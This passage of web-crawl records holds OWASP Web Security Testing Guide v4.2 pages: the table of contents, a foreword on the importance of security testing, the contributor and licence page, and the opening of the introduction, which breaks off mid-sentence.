"zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Table of Contents"}, {"uroven": 2, "text": "0. Foreword by Eoin Keary"}, {"uroven": 2, "text": "1. Frontispiece"}, {"uroven": 2, "text": "2. Introduction"}, {"uroven": 2, "text": "3. The OWASP Testing Framework"}, {"uroven": 2, "text": "4. Web Application Security Testing"}, {"uroven": 2, "text": "5. Reporting"}, {"uroven": 2, "text": "Appendix A. Testing Tools Resource"}, {"uroven": 2, "text": "Appendix B. Suggested Reading"}, {"uroven": 2, "text": "Appendix C. Fuzz Vectors"}, {"uroven": 2, "text": "Appendix D. Encoded Injection"}, {"uroven": 2, "text": "Appendix E. History"}, {"uroven": 2, "text": "Appendix F. Leveraging Dev Tools"}], "markdown": "# WSTG - v4.2\n\n# Table of Contents\n\nUse the **WSTG Contents** menu on the right to browse sections and tests. Chapter landing pages are linked below.\n\n## [0. Foreword by Eoin Keary](/www-project-web-security-testing-guide/v42/0-Foreword/README)\n\n## [1. Frontispiece](1-Frontispiece/)\n\n## [2. Introduction](2-Introduction/)\n\n## [3. The OWASP Testing Framework](3-The_OWASP_Testing_Framework/)\n\n## [4. Web Application Security Testing](4-Web_Application_Security_Testing/)\n\n## [5. Reporting](/www-project-web-security-testing-guide/v42/5-Reporting/README)\n\n## [Appendix A. Testing Tools Resource](/www-project-web-security-testing-guide/v42/6-Appendix/A-Testing_Tools_Resource)\n\n## [Appendix B. Suggested Reading](/www-project-web-security-testing-guide/v42/6-Appendix/B-Suggested_Reading)\n\n## [Appendix C. Fuzz Vectors](/www-project-web-security-testing-guide/v42/6-Appendix/C-Fuzz_Vectors)\n\n## [Appendix D. Encoded Injection](/www-project-web-security-testing-guide/v42/6-Appendix/D-Encoded_Injection)\n\n## [Appendix E. History](/www-project-web-security-testing-guide/v42/6-Appendix/E-History)\n\n## [Appendix F. Leveraging Dev Tools](/www-project-web-security-testing-guide/v42/6-Appendix/F-Leveraging_Dev_Tools)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1256, "slov": 130, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:31", "sha256": "1ec01157fb926c48f4625a5f90330b4429f88830ee429d7554cdcda55d253a27", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/0-Foreword/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/0-Foreword/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/0-Foreword/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "0-Foreword"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Foreword by Eoin Keary"}, {"uroven": 2, "text": "Why OWASP?"}, {"uroven": 2, "text": "Tailoring and Prioritizing"}, {"uroven": 2, "text": "The Role of Automated Tools"}, {"uroven": 2, "text": "Call to Action"}], "markdown": "# WSTG - v4.2\n\n# Foreword by Eoin Keary\n\nThe problem of insecure software is perhaps the most important technical challenge of our time. The dramatic rise of web applications enabling business, social networking etc has only compounded the requirements to establish a robust approach to writing and securing our Internet, Web Applications and Data.\n\nAt the Open Web Application Security Project® (OWASP®), we’re trying to make the world a place where insecure software is the anomaly, not the norm. The OWASP Testing Guide has an important role to play in solving this serious issue. It is vitally important that our approach to testing software for security issues is based on the principles of engineering and science. We need a consistent, repeatable and defined approach to testing web applications. A world without some minimal standards in terms of engineering and technology is a world in chaos.\n\nIt goes without saying that you can’t build a secure application without performing security testing on it. Testing is part of a wider approach to build a secure system. Many software development organizations do not include security testing as part of their standard software development process. What is even worse is that many security vendors deliver testing with varying degrees of quality and rigor.\n\nSecurity testing, by itself, isn’t a particularly good stand alone measure of how secure an application is, because there are an infinite number of ways that an attacker might be able to make an application break, and it simply isn’t possible to test them all. We can’t hack ourselves secure as we only have a limited time to test and defend where an attacker does not have such constraints.\n\nIn conjunction with other OWASP projects such as the Code Review Guide, the Development Guide and tools such as [OWASP ZAP](https://www.zaproxy.org/), this is a great start towards building and maintaining secure applications. This Testing Guide will show you how to verify the security of your running application. I highly recommend using these guides as part of your application security initiatives.\n\n## Why OWASP?\n\nCreating a guide like this is a huge undertaking, requiring the expertise of hundreds of people around the world. There are many different ways to test for security flaws and this guide captures the consensus of the leading experts on how to perform this testing quickly, accurately, and efficiently. OWASP gives like minded security folks the ability to work together and form a leading practice approach to a security problem.\n\nThe importance of having this guide available in a completely free and open way is important for the foundation’s mission. It gives anyone the ability to understand the techniques used to test for common security issues. Security should not be a black art or closed secret that only a few can practice. It should be open to all and not exclusive to security practitioners but also QA, Developers and Technical Managers. The project to build this guide keeps this expertise in the hands of the people who need it - you, me and anyone that is involved in building software.\n\nThis guide must make its way into the hands of developers and software testers. There are not nearly enough application security experts in the world to make any significant dent in the overall problem. The initial responsibility for application security must fall on the shoulders of the developers because they write the code. It shouldn’t be a surprise that developers aren’t producing secure code if they’re not testing for it or consider the types of bugs which introduce vulnerability.\n\nKeeping this information up to date is a critical aspect of this guide project. By adopting the wiki approach, the OWASP community can evolve and expand the information in this guide to keep pace with the fast moving application security threat landscape.\n\nThis Guide is a great testament to the passion and energy our members and project volunteers have for this subject. It shall certainly help to change the world a line of code at a time.\n\n## Tailoring and Prioritizing\n\nYou should adopt this guide in your organization. You may need to tailor the information to match your organization’s technologies, processes, and organizational structure.\n\nIn general there are several different roles within organizations that may use this guide:\n\n- Developers should use this guide to ensure that they are producing secure code. These tests should be a part of normal code and unit testing procedures.\n- Software testers and QA should use this guide to expand the set of test cases they apply to applications. Catching these vulnerabilities early saves considerable time and effort later.\n- Security specialists should use this guide in combination with other techniques as one way to verify that no security holes have been missed in an application.\n- Project Managers should consider the reason this guide exists and that security issues are manifested via bugs in code and design.\n\nThe most important thing to remember when performing security testing is to continuously re-prioritize. There are an infinite number of possible ways that an application could fail, and organizations always have limited testing time and resources. Be sure time and resources are spent wisely. Try to focus on the security holes that are a real risk to your business. Try to contextualize risk in terms of the application and its use cases.\n\nThis guide is best viewed as a set of techniques that you can use to find different types of security holes. But not all the techniques are equally important. Try to avoid using the guide as a checklist, new vulnerabilities are always manifesting and no guide can be an exhaustive list of “things to test for”, but rather a great place to start.\n\n## The Role of Automated Tools\n\nThere are a number of companies selling automated security analysis and testing tools. Remember the limitations of these tools so that you can use them for what they’re good at. As Michael Howard put it at the 2006 OWASP AppSec Conference in Seattle, “Tools do not make software secure! They help scale the process and help enforce policy.”\n\nMost importantly, these tools are generic - meaning that they are not designed for your custom code, but for applications in general. That means that while they can find some generic problems, they do not have enough knowledge of your application to allow them to detect most flaws. In my experience, the most serious security issues are the ones that are not generic, but deeply intertwined in your business logic and custom application design.\n\nThese tools can also be very useful, since they do find lots of potential issues. While running the tools doesn’t take much time, each one of the potential problems takes time to investigate and verify. If the goal is to find and eliminate the most serious flaws as quickly as possible, consider whether your time is best spent with automated tools or with the techniques described in this guide. Still, these tools are certainly part of a well-balanced application security program. Used wisely, they can support your overall processes to produce more secure code.\n\n## Call to Action\n\nIf you’re building, designing or testing software, I strongly encourage you to get familiar with the security testing guidance in this document. It is a great road map for testing the most common issues that applications are facing today, but it is not exhaustive. If you find errors, please add a note to the discussion page or make the change yourself. You’ll be helping thousands of others who use this guide.\n\nPlease consider [joining us](https://owasp.org/membership/) as an individual or corporate member so that we can continue to produce materials like this testing guide and all the other great projects at OWASP.\n\nThank you to all the past and future contributors to this guide, your work will help to make applications worldwide more secure.\n\n–Eoin Keary, OWASP Board Member, April 19, 2013\n\nOpen Web Application Security Project and OWASP are registered trademarks of the OWASP Foundation, Inc.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8143, "slov": 1324, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:45", "sha256": "1eec1688e2369a99b89b4cf478e050c200f706376160114bc9ea147ffb3b7616", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/0-Foreword/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/0-Foreword/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/0-Foreword/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "0-Foreword"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Foreword by Eoin Keary"}, {"uroven": 2, "text": "Why OWASP?"}, {"uroven": 2, "text": "Tailoring and Prioritizing"}, {"uroven": 2, "text": "The Role of Automated Tools"}, {"uroven": 2, "text": "Call to Action"}], "markdown": "# WSTG - v4.2\n\n# Foreword by Eoin Keary\n\nThe problem of insecure software is perhaps the most important technical challenge of our time. The dramatic rise of web applications enabling business, social networking etc has only compounded the requirements to establish a robust approach to writing and securing our Internet, Web Applications and Data.\n\nAt the Open Web Application Security Project® (OWASP®), we’re trying to make the world a place where insecure software is the anomaly, not the norm. The OWASP Testing Guide has an important role to play in solving this serious issue. It is vitally important that our approach to testing software for security issues is based on the principles of engineering and science. We need a consistent, repeatable and defined approach to testing web applications. A world without some minimal standards in terms of engineering and technology is a world in chaos.\n\nIt goes without saying that you can’t build a secure application without performing security testing on it. Testing is part of a wider approach to build a secure system. Many software development organizations do not include security testing as part of their standard software development process. What is even worse is that many security vendors deliver testing with varying degrees of quality and rigor.\n\nSecurity testing, by itself, isn’t a particularly good stand alone measure of how secure an application is, because there are an infinite number of ways that an attacker might be able to make an application break, and it simply isn’t possible to test them all. We can’t hack ourselves secure as we only have a limited time to test and defend where an attacker does not have such constraints.\n\nIn conjunction with other OWASP projects such as the Code Review Guide, the Development Guide and tools such as [OWASP ZAP](https://www.zaproxy.org/), this is a great start towards building and maintaining secure applications. This Testing Guide will show you how to verify the security of your running application. I highly recommend using these guides as part of your application security initiatives.\n\n## Why OWASP?\n\nCreating a guide like this is a huge undertaking, requiring the expertise of hundreds of people around the world. There are many different ways to test for security flaws and this guide captures the consensus of the leading experts on how to perform this testing quickly, accurately, and efficiently. OWASP gives like minded security folks the ability to work together and form a leading practice approach to a security problem.\n\nThe importance of having this guide available in a completely free and open way is important for the foundation’s mission. It gives anyone the ability to understand the techniques used to test for common security issues. Security should not be a black art or closed secret that only a few can practice. It should be open to all and not exclusive to security practitioners but also QA, Developers and Technical Managers. The project to build this guide keeps this expertise in the hands of the people who need it - you, me and anyone that is involved in building software.\n\nThis guide must make its way into the hands of developers and software testers. There are not nearly enough application security experts in the world to make any significant dent in the overall problem. The initial responsibility for application security must fall on the shoulders of the developers because they write the code. It shouldn’t be a surprise that developers aren’t producing secure code if they’re not testing for it or consider the types of bugs which introduce vulnerability.\n\nKeeping this information up to date is a critical aspect of this guide project. By adopting the wiki approach, the OWASP community can evolve and expand the information in this guide to keep pace with the fast moving application security threat landscape.\n\nThis Guide is a great testament to the passion and energy our members and project volunteers have for this subject. It shall certainly help to change the world a line of code at a time.\n\n## Tailoring and Prioritizing\n\nYou should adopt this guide in your organization. You may need to tailor the information to match your organization’s technologies, processes, and organizational structure.\n\nIn general there are several different roles within organizations that may use this guide:\n\n- Developers should use this guide to ensure that they are producing secure code. These tests should be a part of normal code and unit testing procedures.\n- Software testers and QA should use this guide to expand the set of test cases they apply to applications. Catching these vulnerabilities early saves considerable time and effort later.\n- Security specialists should use this guide in combination with other techniques as one way to verify that no security holes have been missed in an application.\n- Project Managers should consider the reason this guide exists and that security issues are manifested via bugs in code and design.\n\nThe most important thing to remember when performing security testing is to continuously re-prioritize. There are an infinite number of possible ways that an application could fail, and organizations always have limited testing time and resources. Be sure time and resources are spent wisely. Try to focus on the security holes that are a real risk to your business. Try to contextualize risk in terms of the application and its use cases.\n\nThis guide is best viewed as a set of techniques that you can use to find different types of security holes. But not all the techniques are equally important. Try to avoid using the guide as a checklist, new vulnerabilities are always manifesting and no guide can be an exhaustive list of “things to test for”, but rather a great place to start.\n\n## The Role of Automated Tools\n\nThere are a number of companies selling automated security analysis and testing tools. Remember the limitations of these tools so that you can use them for what they’re good at. As Michael Howard put it at the 2006 OWASP AppSec Conference in Seattle, “Tools do not make software secure! They help scale the process and help enforce policy.”\n\nMost importantly, these tools are generic - meaning that they are not designed for your custom code, but for applications in general. That means that while they can find some generic problems, they do not have enough knowledge of your application to allow them to detect most flaws. In my experience, the most serious security issues are the ones that are not generic, but deeply intertwined in your business logic and custom application design.\n\nThese tools can also be very useful, since they do find lots of potential issues. While running the tools doesn’t take much time, each one of the potential problems takes time to investigate and verify. If the goal is to find and eliminate the most serious flaws as quickly as possible, consider whether your time is best spent with automated tools or with the techniques described in this guide. Still, these tools are certainly part of a well-balanced application security program. Used wisely, they can support your overall processes to produce more secure code.\n\n## Call to Action\n\nIf you’re building, designing or testing software, I strongly encourage you to get familiar with the security testing guidance in this document. It is a great road map for testing the most common issues that applications are facing today, but it is not exhaustive. If you find errors, please add a note to the discussion page or make the change yourself. You’ll be helping thousands of others who use this guide.\n\nPlease consider [joining us](https://owasp.org/membership/) as an individual or corporate member so that we can continue to produce materials like this testing guide and all the other great projects at OWASP.\n\nThank you to all the past and future contributors to this guide, your work will help to make applications worldwide more secure.\n\n–Eoin Keary, OWASP Board Member, April 19, 2013\n\nOpen Web Application Security Project and OWASP are registered trademarks of the OWASP Foundation, Inc.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 8143, "slov": 1324, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:31", "sha256": "6347fb2f0464000ab271aab7318e1795f1a754f87b9109eccd9f0498d4844eb8", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/1-Frontispiece/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/1-Frontispiece/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/1-Frontispiece/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "1-Frontispiece"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Frontispiece"}, {"uroven": 2, "text": "Welcome"}, {"uroven": 2, "text": "Copyright and Licensee"}, {"uroven": 2, "text": "Leaders"}, {"uroven": 2, "text": "Core Team"}, {"uroven": 2, "text": "Authors"}, {"uroven": 2, "text": "Graphic Designers"}, {"uroven": 2, "text": "Reviewers or Editors"}, {"uroven": 2, "text": "Trademarks"}, {"uroven": 2, "text": "Contacting OWASP"}, {"uroven": 3, "text": "Follow Us"}], "markdown": "# WSTG - v4.2\n\n# Frontispiece\n\n## Welcome\n\n> As we focus on incremental improvement, this release introduces numerous updates. We’ve standardized scenario formats to create a better reading experience, added objectives for each testing scenario, merged sections, and added new scenarios on some modern testing topics.\n> \n> — Rick Mitchell\n\nOWASP thanks the many authors, reviewers, and editors for their hard work in bringing this guide to where it is today. If you have any comments or suggestions on the Testing Guide, please feel free to open an Issue or submit a fix/contribution via Pull Request to our [GitHub repository](https://github.com/OWASP/wstg/).\n\n## Copyright and Licensee\n\nCopyright (c) 2020 The OWASP Foundation.\n\nThis document is released under the [Creative Commons 4.0 License](https://creativecommons.org/licenses/by-sa/4.0/). Please read and understand the license and copyright conditions.\n\n## Leaders\n\n- Elie Saad\n- Rick Mitchell\n\n## Core Team\n\n- Rejah Rehim\n- Victoria Drake\n\n## Authors\n\n- Aaron Williams\n- Alessia Michela Di Campi\n- Elie Saad\n- Ismael Goncalves\n- Janos Zold\n- Jeremy Bonghwan Choi\n- Joel Espunya\n- Manh Pham Tien\n- Mark Clayton\n- Or Asaf\n- rbsec\n- Rick Mitchell\n- Rishu Ranjan\n- Rubal Jain\n- Samuele Casarin\n- Stefano Calzavara\n- Tal Argoni\n- Victoria Drake\n- Phu Nguyen (Tony)\n\n## Graphic Designers\n\n- Hugo Costa\n- Jishnu Vijayan C K\n- Muhammed Anees\n- Ramzi Fazah\n\n## Reviewers or Editors\n\n- Abhi M Balakrishnan\n- Asharaf Ali\n- Elie Saad\n- Eoin Murphy\n- Francisco Bustos\n- frozensolid\n- Hsiang-Chih Hsu\n- Jeremy Bonghwan Choi\n- Lukasz Lubczynski\n- Miguel Arevalo\n- Najam Ul Saqib\n- Nikoleta Misheva\n- Patrick Santos\n- Rejah Rehim\n- Rick Mitchell\n- Roman Mueller\n- Thomas Lim\n- Tom Bowyer\n- Victoria Drake\n\n## Trademarks\n\n- Java, Java Web Server, and JSP are registered trademarks of Sun Microsystems, Inc.\n- Merriam-Webster is a trademark of Merriam-Webster, Inc.\n- Microsoft is a registered trademark of Microsoft Corporation.\n- Octave is a service mark of Carnegie Mellon University.\n- Open Web Application Security Project and OWASP are registered trademarks of the OWASP Foundation, Inc.\n- VeriSign and Thawte are registered trademarks of VeriSign, Inc.\n- Visa is a registered trademark of VISA USA.\n\nAll other products and company names may be trademarks of their respective owners. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.\n\n## Contacting OWASP\n\nContact details for the [OWASP Foundation](https://owasp.org/) are available [online](https://owasp.org/contact/). If you have a question concerning a particular project, we strongly recommend using the [Google Group](https://groups.google.com/a/owasp.org/forum/) for that project. Many questions can also be answered by searching the [OWASP](https://owasp.org/) web site, so please check there first.\n\n### Follow Us\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2872, "slov": 391, "odkazu": 181, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:32", "sha256": "540ed4742a2e44c63f1801cc7350b943840f869c54ae9ce5ff1c0fbae98bcab6", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://groups.google.com/a/owasp.org/forum/", "https://www.linkedin.com/company/owasp/", "https://twitter.com/owasp_wstg", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/2-Introduction/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/2-Introduction/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/2-Introduction/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "2-Introduction"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "The OWASP Testing Project"}, {"uroven": 3, "text": "Measuring Security: the Economics of Insecure Software"}, {"uroven": 3, "text": "What is Testing?"}, {"uroven": 3, "text": "Why Perform Testing?"}, {"uroven": 3, "text": "When to Test?"}, {"uroven": 3, "text": "What to Test?"}, {"uroven": 3, "text": "How To Reference WSTG Scenarios"}, {"uroven": 4, "text": "Linking"}, {"uroven": 3, "text": "Feedback and Comments"}, {"uroven": 2, "text": "Principles of Testing"}, {"uroven": 3, "text": "There is No Silver Bullet"}, {"uroven": 3, "text": "Think Strategically, Not Tactically"}, {"uroven": 3, "text": "The SDLC is King"}, {"uroven": 3, "text": "Test Early and Test Often"}, {"uroven": 3, "text": "Test Automation"}, {"uroven": 3, "text": "Understand the Scope of Security"}, {"uroven": 3, "text": "Develop the Right Mindset"}, {"uroven": 3, "text": "Understand the Subject"}, {"uroven": 3, "text": "Use the Right Tools"}, {"uroven": 3, "text": "The Devil is in the Details"}, {"uroven": 3, "text": "Use Source Code When Available"}, {"uroven": 3, "text": "Develop Metrics"}, {"uroven": 3, "text": "Document the Test Results"}, {"uroven": 2, "text": "Testing Techniques Explained"}, {"uroven": 2, "text": "Manual Inspections and Reviews"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Threat Modeling"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Source Code Review"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Penetration Testing"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "The Need for a Balanced Approach"}, {"uroven": 3, "text": "A Note about Web Application Scanners"}, {"uroven": 3, "text": "Example 1: Magic Parameters"}, {"uroven": 3, "text": "Example 2: Bad Cryptography"}, {"uroven": 3, "text": "A Note about Static Source Code Review Tools"}, {"uroven": 2, "text": "Deriving Security Test Requirements"}, {"uroven": 3, "text": "Testing Objectives"}, {"uroven": 3, "text": "Security Requirements Documentation"}, {"uroven": 3, "text": "Security Requirements Validation"}, {"uroven": 3, "text": "Threats and Countermeasures Taxonomies"}, {"uroven": 3, "text": "Security Testing and Risk Analysis"}, {"uroven": 3, "text": "Deriving Functional and Non-Functional Test Requirements"}, {"uroven": 4, "text": "Functional Security Requirements"}, {"uroven": 4, "text": "Risk-Driven Security Requirements"}, {"uroven": 3, "text": "Deriving Security Test Requirements Through Use and Misuse Cases"}, {"uroven": 4, "text": "Step 1: Describe the Functional Scenario"}, {"uroven": 4, "text": "Step 2: Describe the Negative Scenario"}, {"uroven": 4, "text": "Step 3: Describe Functional and Negative Scenarios with Use and Misuse Case"}, {"uroven": 4, "text": "Step 4: Elicit the Security Requirements"}, {"uroven": 2, "text": "Security Tests Integrated in Development and Testing Workflows"}, {"uroven": 3, "text": "Security Testing in the Development Workflow"}, {"uroven": 3, "text": "Security Testing in the Test Workflow"}, {"uroven": 3, "text": "Developer’s Security Tests"}, {"uroven": 4, "text": "Security Testing in the Coding Phase: Unit Tests"}, {"uroven": 3, "text": "Functional Testers’ Security Tests"}, {"uroven": 4, "text": "Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests"}, {"uroven": 2, "text": "Security Test Data Analysis and Reporting"}, {"uroven": 3, "text": "Goals for Security Test Metrics and Measurements"}, {"uroven": 3, "text": "Reporting Requirements"}, {"uroven": 3, "text": "Business Cases"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Introduction\n\n## The OWASP Testing Project\n\nThe OWASP Testing Project has been in development for many years. The aim of the project is to help people understand the *what*, *why*, *when*, *where*, and *how* of testing web applications. The project has delivered a complete testing framework, not merely a simple checklist or prescription of issues that should be addressed. Readers can use this framework as a template to build their own testing programs or to qualify other people’s processes. The Testing Guide describes in detail both the general testing framework and the techniques required to implement the framework in practice.\n\nWriting the Testing Guide has proven to be a difficult task. It was a challenge to obtain consensus and develop content that allowed people to apply the concepts described in the guide, while also enabling them to work in their own environment and culture. It was also a challenge to change the focus of web application testing from penetration testing to testing integrated in the software development life cycle.\n\nHowever, the group is very satisfied with the results of the project. Many industry experts and security professionals, some of whom are responsible for software security at some of the largest companies in the world, are validating the testing framework. This framework helps organizations test their web applications in order to build reliable and secure software. The framework does not simply highlight areas of weakness, although that is certainly a by-product of many of the OWASP guides and checklists. As such, hard decisions had to be made about the appropriateness of certain testing techniques and technologies. The group fully understands that not everyone will agree with all of these decisions. However, OWASP is able to take the high ground and change culture over time through awareness and education, based on consensus and experience.\n\nThe rest of this guide is organized as follows: this introduction covers the pre-requisites of testing web applications and the scope of testing. It also covers the principles of successful testing and testing techniques, best practices for reporting, and business cases for security testing. Chapter 3 presents the OWASP Testing Framework and explains its techniques and tasks in relation to the various phases of the software development life cycle. Chapter 4 covers how to test for specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.\n\n### Measuring Security: the Economics of Insecure Software\n\nA basic tenet of software engineering is summed up in a quote from [Controlling Software Projects: Management, Measurement, and Estimates](https://isbnsearch.org/isbn/9780131717114) by [Tom DeMarco](https://en.wikiquote.org/wiki/Tom_DeMarco):\n\n> You can’t control what you can’t measure.\n\nSecurity testing is no different. Unfortunately, measuring security is a notoriously difficult process.\n\nOne aspect that should be emphasized is that security measurements are about both the specific technical issues (e.g., how prevalent a certain vulnerability is) and how these issues affect the economics of software. Most technical people will at least understand the basic issues, or they may have a deeper understanding of the vulnerabilities. Sadly, few are able to translate that technical knowledge into monetary terms and quantify the potential cost of vulnerabilities to the application owner’s business. Until this happens, CIOs will not be able to develop an accurate return on security investment and, subsequently, assign appropriate budgets for software security.\n\nWhile estimating the cost of insecure software may appear a daunting task, there has been a significant amount of work in this direction. In 2018 the Consortium for IT Software Quality 